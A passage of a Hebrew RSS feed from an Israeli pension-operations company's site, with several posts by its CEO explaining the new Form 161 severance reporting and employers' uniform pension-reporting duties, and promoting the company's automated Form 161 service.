							<wfw:commentRss>https://okneto.co.il/2025/01/23/%d7%9e%d7%94%d7%a4%d7%9b%d7%94-%d7%91%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%94%d7%90%d7%97%d7%99%d7%93-%d7%9b%d7%9c-%d7%9e%d7%94-%d7%a9%d7%9e%d7%a2%d7%a1%d7%99%d7%a7%d7%99%d7%9d-%d7%95%d7%97%d7%a9%d7%91/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>דיווח טופס 161 החדש במערכת המקוונת של רשות המסים</title>
		<link>https://okneto.co.il/2024/01/29/%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%91%d7%9e%d7%a2%d7%a8%d7%9b%d7%aa-%d7%94%d7%9e%d7%a7%d7%95%d7%95%d7%a0%d7%aa-%d7%a9%d7%9c-%d7%a8%d7%a9%d7%95/</link>
				<comments>https://okneto.co.il/2024/01/29/%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%91%d7%9e%d7%a2%d7%a8%d7%9b%d7%aa-%d7%94%d7%9e%d7%a7%d7%95%d7%95%d7%a0%d7%aa-%d7%a9%d7%9c-%d7%a8%d7%a9%d7%95/#respond</comments>
				<pubDate>Mon, 29 Jan 2024 10:48:23 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=5335</guid>
				<description><![CDATA[<p>החל מ 7.1.24 מעסיקים יכולים לדווח על סיום עבודה של מועסק באמצעות מערכת מקוונת, להסדרת כספי הפיצויים בעת עזיבת מקום עבודה. צפו בהדרכה שהתקיימה השבוע ע&#8221;י עוקץ פנסיה.</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2024/01/29/%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%91%d7%9e%d7%a2%d7%a8%d7%9b%d7%aa-%d7%94%d7%9e%d7%a7%d7%95%d7%95%d7%a0%d7%aa-%d7%a9%d7%9c-%d7%a8%d7%a9%d7%95/">דיווח טופס 161 החדש במערכת המקוונת של רשות המסים</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p dir="RTL">החל מ 7.1.24 מעסיקים יכולים לדווח על סיום עבודה של מועסק באמצעות מערכת מקוונת, להסדרת כספי הפיצויים בעת עזיבת מקום עבודה.<br />
צפו בהדרכה שהתקיימה השבוע ע&#8221;י עוקץ פנסיה.<span id="more-5335"></span></p>
<p dir="RTL"><a href="https://www.youtube.com/watch?v=tBUgkR3EGOE&amp;t=480s&amp;ab_channel=%D7%A2%D7%95%D7%A7%D7%A5%D7%9E%D7%A2%D7%A8%D7%9B%D7%95%D7%AA"><img class="alignnone wp-image-5360" src="https://okneto.co.il/wp-content/uploads/2024/01/161yaron-300x211.jpg" alt="" width="516" height="363" srcset="https://okneto.co.il/wp-content/uploads/2024/01/161yaron-300x211.jpg 300w, https://okneto.co.il/wp-content/uploads/2024/01/161yaron.jpg 549w" sizes="(max-width: 516px) 100vw, 516px" /></a></p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2024/01/29/%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%91%d7%9e%d7%a2%d7%a8%d7%9b%d7%aa-%d7%94%d7%9e%d7%a7%d7%95%d7%95%d7%a0%d7%aa-%d7%a9%d7%9c-%d7%a8%d7%a9%d7%95/">דיווח טופס 161 החדש במערכת המקוונת של רשות המסים</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2024/01/29/%d7%93%d7%99%d7%95%d7%95%d7%97-%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%91%d7%9e%d7%a2%d7%a8%d7%9b%d7%aa-%d7%94%d7%9e%d7%a7%d7%95%d7%95%d7%a0%d7%aa-%d7%a9%d7%9c-%d7%a8%d7%a9%d7%95/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>טופס 161 החדש &#8211; שאלות ותשובות</title>
		<link>https://okneto.co.il/2023/08/24/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa/</link>
				<comments>https://okneto.co.il/2023/08/24/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa/#respond</comments>
				<pubDate>Thu, 24 Aug 2023 07:25:11 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=5099</guid>
				<description><![CDATA[<p>אין ספק שה 161 החדש גרם ללא מעט כאב ראש בקרב המעסיקים וחשבי השכר, מאחר שהם צריכים לבצע גם חישובים מורכבים, ובמקביל גם “לרדוף” אחר העובדים ולוודא שהם מילאו וחתמו על חלק ב&#8217; ולבדוק שהעובדים לא רשמו סכומים לא נכונים.. בהדרכות ובהשתלמויות שאנו מקיימים מידי חודש לרו&#8221;ח וחשבי שכר, חוזרות שאלות רבות, אשמח לשתף את [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/08/24/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa/">טופס 161 החדש &#8211; שאלות ותשובות</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>אין ספק שה 161 החדש גרם ללא מעט כאב ראש בקרב המעסיקים וחשבי השכר, מאחר שהם צריכים לבצע גם חישובים מורכבים, ובמקביל גם “לרדוף” אחר העובדים ולוודא שהם מילאו וחתמו על חלק ב&#8217; ולבדוק שהעובדים לא רשמו סכומים לא נכונים..<br />
בהדרכות ובהשתלמויות שאנו מקיימים מידי חודש לרו&#8221;ח וחשבי שכר, חוזרות שאלות רבות, אשמח לשתף את כולם בתשובות:<span id="more-5099"></span></p>
<ol>
<li><strong>טופס 161 חדש זה רק לישראלים או גם לשומרון?</strong><br />
בכל מקרה אחר בו המעסיק משלם לעובד זר מענק פרישה, בין אם ישירות ובין אם באמצעות קופת גמל, יש לדווח על הפרישה באמצעות טופס 161 (בדומה לכל אירוע פרישה).</li>
<li><strong>בתקופה האחרונה בעקבות ה 161 החדש פונים אלינו בעסק, סוכני ביטוח ומציעים לנו לתת שירות עבור הייעוץ בגין ה 161 לעובדים אצלנו, מה המשמעות של זה ?</strong><br />
המלצה שלי לא לקחת צד בנושא הייעוץ , כלומר ברגע שממליצים ו/או מפנים את העובדים לסוכן ביטוח אזי אנחנו כמעסיקים גם לוקחים אחריות באופן מסוים על הייעוץ לעובד, לכן מומלץ שהתהליך עבור ה 161 החדש יתבצע באמצעות גורם אובייקטיבי שאינו סוכן ביטוח כפי שנבנה בעוקץ פנסיה , בתהליך הנ&#8221;ל קיימת אפשרות לעובד לעדכן את פרטי סוכן הביטוח שלו או כל גורם אחר שנותן לא ייעוץ בנושא וחלק א יישלח גם לאותו גורם מייעץ או לחילופין יכול העובד להחליט שהוא מטפל בעצמו <u>כך האחריות הינה על העובד בלבד</u> והוא לא יוכל לבוא אל המעסיק בטענות ואף תביעות בנושא</li>
<li><strong>אז מה זה בעצם הפתרון ההוליסטי</strong><strong> ? </strong><strong>למילוי 161 החדש?</strong><br />
זהו תהליך אוטומטי פשוט וקל עבור הפקת טופס 161 החדש. התהליך האוטומטי כולל קבלת נתוני הפיצויים מהקופות, משיכת הנתונים עבור חלק א&#8217; מתוכנת השכר, ביצוע כל החישובים, כולל שליחה ומעקב אחר קבלת חלק ב&#8217; מהעובד, וביצוע בקרה על הסכומים שהעובד דיווח.</li>
<li><strong>ברגע שאני מבקשת מחברות הפנסיה את טופס העזר, הכל אוטומטי?</strong><br />
כן</li>
<li><strong>יתרות הפיצויים מהיכן מגיעים?</strong><br />
מענה מתקבל מהקופות</li>
<li><strong>עובדים שעתיים גם יחושב אוטומטית?</strong><br />
כל נתון שמחשוב בתוכנת השכר יכנס באופן אוטומטי</li>
<li><strong>האם יש צורך בחישובים ממס הכנסה?</strong><br />
אין צורך</li>
<li><strong>האם הטופס נשלח אוטומטי למס הכנסה?</strong><br />
לא , כיוון שהדרישה של מס הכנסה נכון להיום זה לקבל את הטופס באמצעות הדואר או במסירה לפקיד השומה</li>
<li><strong>במקרה והעובד רוצה לעשות פריסה של פיצויים, גם חישובים אלו נעשים בתוכנה או שיש לפנות למס הכנסה?</strong><br />
אירועי הפרישה המורכבים ימשיכו להיות מטופלים במשרדי השומה וביחס אליהם המעסיקים אינם נדרשים לאשר את בחירות העובד, אלא עליהם להפנות את העובד לפקיד השומה.</li>
<li><strong>אפשר לדלג על שלב ב&#8217; של העובד ולמלא את א&#8217;+ג&#8217; ואז לשלוח לעובד?</strong><br />
לא, כיוון שמעסיק אינו יכול למלא חלק ג&#8217; ללא הנחיות העובד שמופיעות בחלק ב&#8217;, בכל מקרה התהליך הנ&#8221;ל הוא אוטומטי</li>
<li><strong>אם העובד ממלא משהו לא נכון, אפשר לתקן את החלק הזה?</strong><br />
המערכת תבצע בקרה גם על החלק של העובד. ככל שהעובד יכניס נתונים לא נכונים, המערכת תתריע עבורו. כמו כן ניתן יהיה להחזיר אוטומטית את חלק זה לעובד למילוי תקין.</li>
<li><strong>איך מחשבים את חלק ג&#8217; של המעסיק, האם זה מתמלא אוטומטית?</strong><br />
מתמלא באופן אוטומטית</li>
<li><strong>האם תהיה אפשרות להוסיף סכום נוסף של ההפרשה לפיצויים מתוך המשכורת האחרונה?</strong><br />
כן</li>
<li><strong>איך ניתן להתחבר למערכת של 161 האוטומטי?<br />
</strong><span style="color: #3366ff;"><a style="color: #3366ff;" href="https://www.oketz.co.il/index.php?r=pension/registration">https://www.oketz.co.il/index.php?r=pension/registration</a></span></li>
<li><strong>אני לקוחה בתוכנת שכר טריו אבל לא משתמשת בעוקץ פנסיה, מה עושים במצב הזה?</strong><br />
כדי להשתמש בשירות 161 החדש, כל מה שתצטרכי זה להירשם לעוקץ פנסיה. הרישום פשוט ולוקח מספר רגעים מועט. כמו כן לא חייבים להיות לקוחות בשירות התפעול על מנת להשתמש בשירות 161 החדש</li>
<li><strong>יהיה אפשר להירשם לשירות 161 שלכם בלבד, בלי שתהיו מתפעל? אם יש לי סוכן מתפעל אחר? </strong><br />
כן</li>
<li><strong>אם אני כמייצגת כבר לקוחה בעוקץ פנסיה ומדווחת עבור מעסיקים שלי בקובץ אחיד, ואני רוצה להפיק טופס 161, צריך לבצע עוד רישום?</strong><br />
לא אין צורך , השירות יופיע לך באזור האישי ברגע שנעלה אותו</li>
<li><strong>הרישום הוא פר מעסיק? זה מתאים גם למשרד רו&#8221;ח?</strong><br />
זה מצוין גם למשרד רו&#8221;ח וזאת כיוון שרו&#8221;ח מקים את עצמו בפורטל עוקץ פנסיה ואז הוא יכול להקים את הלקוחות שלו ( הקמה פשוטה שלוקחת פחות מדקה ) המייצג מפיק 161 תחת כל מעסיק.</li>
<li><strong>האם הפתרון ההוליסטי יכול להתאים למשתמשי <u>כל</u> תוכנות השכר?<br />
</strong>כן</li>
<li><strong>משיכת הנתונים היא אוטומטית רק מתוכנת השכר טריו?</strong><br />
בגרסה 1 משתמשי תוכנת השכר טריו יוכלו למשוך נתונים <u>אוטומטית</u> (בגירסה הבאה לכל תוכנות השכר זה יהיה אוטומטי), כרגע מי שבתוכנת שכר שאינה של עוקץ מערכות, יוכל להקליד ידנית את הנתונים שנלקחים מתוכנת השכר. כל יתר הפעולות יבוצע באופן אוטומטי.</li>
<li><strong>מתי זה כבר יפתח לעבודה באתר?</strong><br />
במהלך חודש ספטמבר יפתח השירות</li>
<li><strong>כמה יעלה לי להפיק טופס 161 החדש בעוקץ פנסיה?</strong><br />
המחיר 49 ₪ + מע&#8221;מ, בלבד!</li>
<li><strong>איך ניתן להתחבר למערכת הזו?</strong><br />
רישום קל ומהיר, להלן קישור:<br />
<span style="color: #3366ff;"><a style="color: #3366ff;" href="https://www.oketz.co.il/index.php?r=pension/registration">https://www.oketz.co.il/index.php?r=pension/registration</a></span></li>
</ol>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/08/24/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa/">טופס 161 החדש &#8211; שאלות ותשובות</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2023/08/24/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>טופס 161 החדש, המורכבות שלו והפתרון ההוליסטי</title>
		<link>https://okneto.co.il/2023/07/25/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%94%d7%9e%d7%95%d7%a8%d7%9b%d7%91%d7%95%d7%aa-%d7%a9%d7%9c%d7%95-%d7%95%d7%94%d7%a4%d7%aa%d7%a8%d7%95%d7%9f-%d7%94%d7%94%d7%95%d7%9c%d7%99/</link>
				<comments>https://okneto.co.il/2023/07/25/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%94%d7%9e%d7%95%d7%a8%d7%9b%d7%91%d7%95%d7%aa-%d7%a9%d7%9c%d7%95-%d7%95%d7%94%d7%a4%d7%aa%d7%a8%d7%95%d7%9f-%d7%94%d7%94%d7%95%d7%9c%d7%99/#respond</comments>
				<pubDate>Tue, 25 Jul 2023 12:44:09 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=5035</guid>
				<description><![CDATA[<p>עוקץ פנסיה פיתחה תהליך פשוט וקל עבור הפקת טופס 161 החדש , כל התהליך הינו תהליך אוטומטי הכולל קבלת נתוני הפיצויים מהקופות, משיכת הנתונים עבור חלק א מתוכנת השכר, ביצוע כל החישובים כולל שליחה ומעקב אחר קבלת חלק ב מהעובד, כולל ביצוע בקרה על סכומים שהעובד דיווח אני מניח שרובכם כבר נחשפתם לטופס 161 החדש [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/07/25/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%94%d7%9e%d7%95%d7%a8%d7%9b%d7%91%d7%95%d7%aa-%d7%a9%d7%9c%d7%95-%d7%95%d7%94%d7%a4%d7%aa%d7%a8%d7%95%d7%9f-%d7%94%d7%94%d7%95%d7%9c%d7%99/">טופס 161 החדש, המורכבות שלו והפתרון ההוליסטי</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>עוקץ פנסיה פיתחה תהליך פשוט וקל עבור הפקת טופס 161 החדש , כל התהליך הינו תהליך אוטומטי הכולל קבלת נתוני הפיצויים מהקופות, משיכת הנתונים עבור חלק א מתוכנת השכר, ביצוע כל החישובים כולל שליחה ומעקב אחר קבלת חלק ב מהעובד, כולל ביצוע בקרה על סכומים שהעובד דיווח<span id="more-5035"></span></p>
<p>אני מניח שרובכם כבר נחשפתם לטופס 161 החדש שהיה אמור להיכנס לתוקף ב 01/7/2023 אבל נדחה ל 01/11/2023 וזאת לאחר בקשה לדחייה לצורך השלמת היערכות</p>
<p>טופס 161 החדש בעצם משלב את הודעת המעסיק נתוני יתרות הפיצויים של העובד ונתוני העזר ( חלק א ) עם החלטות העובד ( חלק ב) כאשר המעסיק נדרש לחשב ולהעביר הנחיות לקופות הגמל ( חלק ב )</p>
<p>אין ספק שה 161 החדש גרם ללא מעט כאב ראש בקרב המעסיקים וזאת כיוון שלא רק שהם צרכים לבצע חישובים מורכבים במקביל הם צרכים גם &#8220;לרדוף&#8221; אחר העובדים ולהיות במעקב שהעובדים מילאו וחתמו על חלק ב וכמובן לוודא שהעובדים לא רשמו סכומים לא נכונים</p>
<p>בחודשים האחרונים נחשפתי ללא מעט הרצאות בנושא ה 161 החדש , רובם הרצאות מעניינות ומקצועיות אך בשורה התחתונה כמו כל העולם הפנסיוני בסופו של דבר אנשים יוצאים מההרצאה יותר מבולבלים מאשר שהם נכנסו אליה</p>
<p>הבלבול הרב וחוסר הוודאות הזה גרם ללא מעט מתח ופחד בקרב המעסיקים  לקראת כניסת ה 161 החדש בין כל השיחות שהיו לי עם מעסקים ,רו&#8221;ח , סמנכ&#8221;לי כספים , חשבים, יועצי מס וכו&#8217; הקשיים שעלו :</p>
<ul>
<li>חישובי נתוני עזר לעובד ( סעיף א.13 )</li>
<li>מעקב ושליחה לעובדים על מנת שימלאו חלק ב</li>
<li>מעקב אחר קבלת חלק ב</li>
<li>מעבר על חלק ב של העובד ומילוי חלק ג בהתאם ללא טעויות</li>
</ul>
<p>ואלה רק חלק קטן מהקשיים שעלו בחודשים האחרונים</p>
<p><strong>הפתרון ההוליסטי </strong></p>
<p>אז מה זה בעצם הפתרון ההוליסטי ?</p>
<p>עוקץ פנסיה פיתחה תהליך פשוט וקל עבור הפקת טופס 161 החדש , כל התהליך הינו תהליך אוטומטי הכולל קבלת נתוני הפיצויים מהקופות, משיכת הנתונים עבור חלק א מתוכנת השכר, ביצוע כל החישובים כולל שליחה ומעקב אחר קבלת חלק ב מהעובד, כולל ביצוע בקרה על סכומים שהעובד דיווח</p>
<p>בשורה התחתונה תהליך הודעת הפרישה לעובד עם ה161 החדש יהיה יותר פשוט עבור המעסיק מהתהליך הודעת הפרישה לעובד עם ה161 הישן ובמקביל יהיה הרבה יותר מדויק ונכון גם עבור העובד וגם עבור המעסיק</p>
<p>הפתרון ההוליסטי יכול להתאים למשתמשי כל תוכנות השכר.<br />
במהלך החודשים הקרובים נעשה מספר הדרכות זום בנושא, ללא תשלום, ואתם מוזמנים להירשם</p>
<p>שיהיה קיץ קריר ונעים</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/07/25/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%94%d7%9e%d7%95%d7%a8%d7%9b%d7%91%d7%95%d7%aa-%d7%a9%d7%9c%d7%95-%d7%95%d7%94%d7%a4%d7%aa%d7%a8%d7%95%d7%9f-%d7%94%d7%94%d7%95%d7%9c%d7%99/">טופס 161 החדש, המורכבות שלו והפתרון ההוליסטי</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2023/07/25/%d7%98%d7%95%d7%a4%d7%a1-161-%d7%94%d7%97%d7%93%d7%a9-%d7%94%d7%9e%d7%95%d7%a8%d7%9b%d7%91%d7%95%d7%aa-%d7%a9%d7%9c%d7%95-%d7%95%d7%94%d7%a4%d7%aa%d7%a8%d7%95%d7%9f-%d7%94%d7%94%d7%95%d7%9c%d7%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>שאלות ותשובות שכיחות בעקבות כניסת מעסיקים עם 3 עובדים ומעלה לחובת הדיווח במבנה אחיד</title>
		<link>https://okneto.co.il/2023/04/16/%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa-%d7%a9%d7%9b%d7%99%d7%97%d7%95%d7%aa-%d7%91%d7%a2%d7%a7%d7%91%d7%95%d7%aa-%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%9e%d7%a2%d7%a1/</link>
				<comments>https://okneto.co.il/2023/04/16/%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa-%d7%a9%d7%9b%d7%99%d7%97%d7%95%d7%aa-%d7%91%d7%a2%d7%a7%d7%91%d7%95%d7%aa-%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%9e%d7%a2%d7%a1/#respond</comments>
				<pubDate>Sun, 16 Apr 2023 10:58:08 +0000</pubDate>
		<dc:creator><![CDATA[ירון הרן, מנכ"ל עוקץ פנסיה]]></dc:creator>
				<category><![CDATA[פנסיה וגמל]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4831</guid>
				<description><![CDATA[<p>בהמשך לשני כנסי הזום שעשינו ביחד עם לשכת רואי החשבון ולאחר כחודשיים בהם רו&#8221;ח מדווחים עבור הלקוחות שלהם שהצטרפו לחובת הדיווח במבנה אחיד, עלו לא מעט שאלות ולכן החלטנו לרכז את כל אותן שאלות שכיחות כאן ולתת להן מענה בתקווה שגם אמצעי זה יעזור לכם לעבור את הדיווח בצורה קלה ומהירה מדוע הוחלט לדווח בצורה [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/04/16/%d7%a9%d7%90%d7%9c%d7%95%d7%aa-%d7%95%d7%aa%d7%a9%d7%95%d7%91%d7%95%d7%aa-%d7%a9%d7%9b%d7%99%d7%97%d7%95%d7%aa-%d7%91%d7%a2%d7%a7%d7%91%d7%95%d7%aa-%d7%9b%d7%a0%d7%99%d7%a1%d7%aa-%d7%9e%d7%a2%d7%a1/">שאלות ותשובות שכיחות בעקבות כניסת מעסיקים עם 3 עובדים ומעלה לחובת הדיווח במבנה אחיד</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<p>בהמשך לשני כנסי הזום שעשינו ביחד עם לשכת רואי החשבון ולאחר כחודשיים בהם רו&#8221;ח מדווחים עבור הלקוחות שלהם שהצטרפו לחובת הדיווח במבנה אחיד, עלו לא מעט שאלות ולכן החלטנו לרכז את כל אותן שאלות שכיחות כאן ולתת להן מענה בתקווה שגם אמצעי זה יעזור לכם לעבור את הדיווח בצורה קלה ומהירה<span id="more-4831"></span></p>
<p><span style="text-decoration: underline;"><strong>מדוע הוחלט לדווח בצורה אחידה?</strong></span></p>
<ul>
<li>לא הייתה כלל <strong>בקרה </strong>על קליטת הכספים ולכן פורשים יצאו לפנסיה עם שיעור קצבה נמוך ממה שהיו זכאים</li>
<li>כספים נקלטו בקופה של העובד אבל <strong>לא בהתאם לדיווח</strong></li>
<li>מעסיק דיווח לקופה של עובד אבל <strong>בפועל לא הייתה לו קופה כזו</strong></li>
<li>כספים החוזרו למעסיק <strong>והמעסיק לא הבין מדוע</strong></li>
<li>שיעורי כסוי ביטוחי נמוך <strong>ללא בקרה</strong></li>
<li>מיליארדי שקלים בפנדינג ( במעבר ולא בתוכניות של העובדים )</li>
</ul>
<p><span style="text-decoration: underline;"><strong>אני רוצה לבחור עבור הלקוח שלי אמצעי דיווח לקופות , מהן האלטרנטיבות ?</strong></span></p>
<ol>
<li><strong>לדווח ישירות לכל קופה<br />
</strong><u>חסרונות :<br />
</u> צריך לעלות קובץ נפרד עבור כל קופה וקופה<br />
האחריות על המעסיק <strong>לבצע בקרה שוטפת </strong>בגין כל אותם כספים שלא נקלטו<br />
<u>יתרונות :<br />
</u>לא קיימת עלות</li>
</ol>
<ol start="2">
<li><strong>לדווח במסלקה הפנסיונית<br />
</strong><u>חסרונות :<br />
</u>האחריות על המעסיק לבצע בקרה שוטפת בגין כל אותם כספים שלא נקלטו<br />
קיימת עלות</li>
</ol>
<ol start="3">
<li><strong>לדווח באמצעות חברת תפעול<br />
</strong><u>יתרונות:<br />
</u>מדווחים קובץ אחד לכל הקופות<br />
בקרה שוטפת עבור סטטוס קליטת כספים מתבצעת ע&#8221;י חברת התפעול<br />
אזור אישי מאובטח ודיווח בלחיצת כפתור עבור כל הלקוחות של המייצג<br />
<u>חסרונות:<br />
</u>קיימת עלות</li>
</ol>
<p><span style="text-decoration: underline;"><strong>אני מתחיל לדווח ללקוח שלי בפעם הראשונה , מה עלי לעשות ?<br />
</strong></span>עליך לעדכן בתוכנת השכר את הנתונים הבאים :</p>
<ul>
<li>פרטי מעסיק ( חשבון בנק שממנו מבצע תשלום לקופות ) וסוג אמצעי תשלום שבאמצעותו ישלם לקופות ( לדוגמה : העברה בנקאית )</li>
<li>פרטי איש קשר של המעסיק</li>
<li>הגורם באמצעותו אתה מדווח ( ישירות לקופות ,מסלקה פנסיוניות ,חברת תפעול פנסיונית )</li>
<li>פרטי הקופות של העובדים ( קוד אוצר , ח.פ , סוג קופה )</li>
<li>פרטי חשבונות הבנק של העובדים</li>
</ul>
<p><span style="text-decoration: underline;"><strong>לאחר שעדכנתי את כל הנתונים בתוכנת השכר והגיע הזמן לדווח , מה עלי לעשות ?<br />
</strong></span>להלן השלבים :</p>
<ol>
<li>לשלוח למעסיק את פרטי הסכומים לתשלום לאותו חודש</li>
<li>לאחר שהמעסיק מבצע את התשלום לקופות הוא שולח אליי בחזרה את אישורי התשלום , עליי לעדכן בתוכנת השכר תאריך ערך הפקדה לקופה ומספר האסמכתא להעברה</li>
</ol>
<p><span style="text-decoration: underline;"><strong>האם ניתן לדווח לפני ביצוע תשלום לקופות ?<br />
</strong></span>לא ניתן לדווח לפני ביצוע תשלום לקופות דיווח ללא תשלום יגרום לביטול קובץ הדיווח</p>
<p><span style="text-decoration: underline;"><strong>מהו המועד בו המעסיק צריך לשלם לקופות הגמל ?<br />
</strong></span>תשלומים לקופות הגמל יופקדו לא יאוחר מהמועד <strong>המוקדם</strong> מבין אלה:</p>
<ul>
<li>שבעה ימי עסקים מיום תשלום המשכורת החודשית לעובד</li>
<li>חמישה עשר ימים מתום החודש שבעדו על המעסיק לשלם את המשכורת לעובד</li>
</ul>
<p><span style="text-decoration: underline;"><strong>האם זהו גם המועד בו אני חייב לדווח ?<br />
</strong></span>לא חובה אך מומלץ לדווח כמה שיותר קרוב <strong>לאחר</strong> ביצוע התשלום לקופות</p>
<p><span style="text-decoration: underline;"><strong>מה האחריות של המעסיק ( הלקוח שלי) ?</strong></span></p>
<ul>
<li>לעביר למייצג את פרטי הקופות של עובדים</li>
<li>לבצע תשלום לקופות במועד הקבוע בחוק</li>
<li>לאחר ביצוע תשלום לשלוח למייצג את אישורי העברות שבוצעו לקופות</li>
<li>לבצע <strong>בקרה שוטפת</strong> על אופן קליטת הכספים</li>
</ul>
<p><span style="text-decoration: underline;"><strong>מה זה דיווח שלילי ?<br />
</strong></span>דיווח שלילי ( סוג פעולה 5)  הינו בקשה להחזר כספים עבור כספים ששולמו ביתר בגין עובד מסוים עבור חודש מסוים, אם בעבר היה נהוג לבצע קיזוז עבור כסף ששולם ביתר לעובד מסוים תחת הדיווח במבנה אחיד חל איסור לעשות זאת , ככל שיש צורך בהחזר יש לדווח דיווח שלילי ובמקביל לשלם באופן מלא עבור הדיווח השוטף.<br />
קיים גם דיווח שלילי  ( סוג פעולה 6 ) בקשה לביטול חלקי או מלא של  תנועה <strong>ללא החזר תשלום למעסיק</strong></p>
<p><span style="text-decoration: underline;"><strong>מדוע מעסיק מחויב לבצע בקרה שוטפת על אופן קליטת הכספים ?<br />
</strong></span>בדיווח האחיד קיימים מעל 50 סוגי שגיאות שהן <strong>באחריות המעסיק וחובה עליו לבצע בקרה</strong> , להלן שגיאות <strong>שכיחות</strong> :<br />
• מספר ת.ז/דרכון לא קיים אצל יצרן<br />
• ת.ז לא מתאימה לפרטים אישיים<br />
• לא ניתן להשיב תשלום שהופקד ביתר &#8211; בחשבון אין כספים<br />
• לא עומד בתקנה 19- לא ניתן להפקיד לרכיב תגמולי עובד ללא רכיב תגמולי מעסיק<br />
• לא עומד בתקנה 19- לא ניתן להפקיד לרכיב תגמולי מעסיק ללא רכיב תגמולי עובד<br />
• אין יתרה זמינה בחשבון המעסיק לפירעון רשימת ההפקדה<br />
• לא ניתן להשיב תשלום שהופקד ביתר &#8211; תנועה שלילית גדולה מהיתרה לעמית בחודש העבודה המדווח<br />
• אין התאמה בין אחוז הפרשה, סכום הפרשה ושכר<br />
• דווח חשבון עו&#8221;ש שגוי להפקדת כספים<br />
• לא ניתן להשיב תשלום שהופקד ביתר &#8211; בוצע פדיון<br />
• לא ניתן להשיב תשלום שהופקד ביתר &#8211; תצהיר אינו תקין<br />
• תגמולי עובד ותגמולי מעסיק עד 5% מהשכר נדרשים להיות זהים<br />
• שגיאה בהליך הפקדת הכספים אינה מאפשרת קליטת הרשומה &#8211; ראה שגיאה בשדה &#8220;סטטוס טיפול בכספים&#8221; (שדה 43)<br />
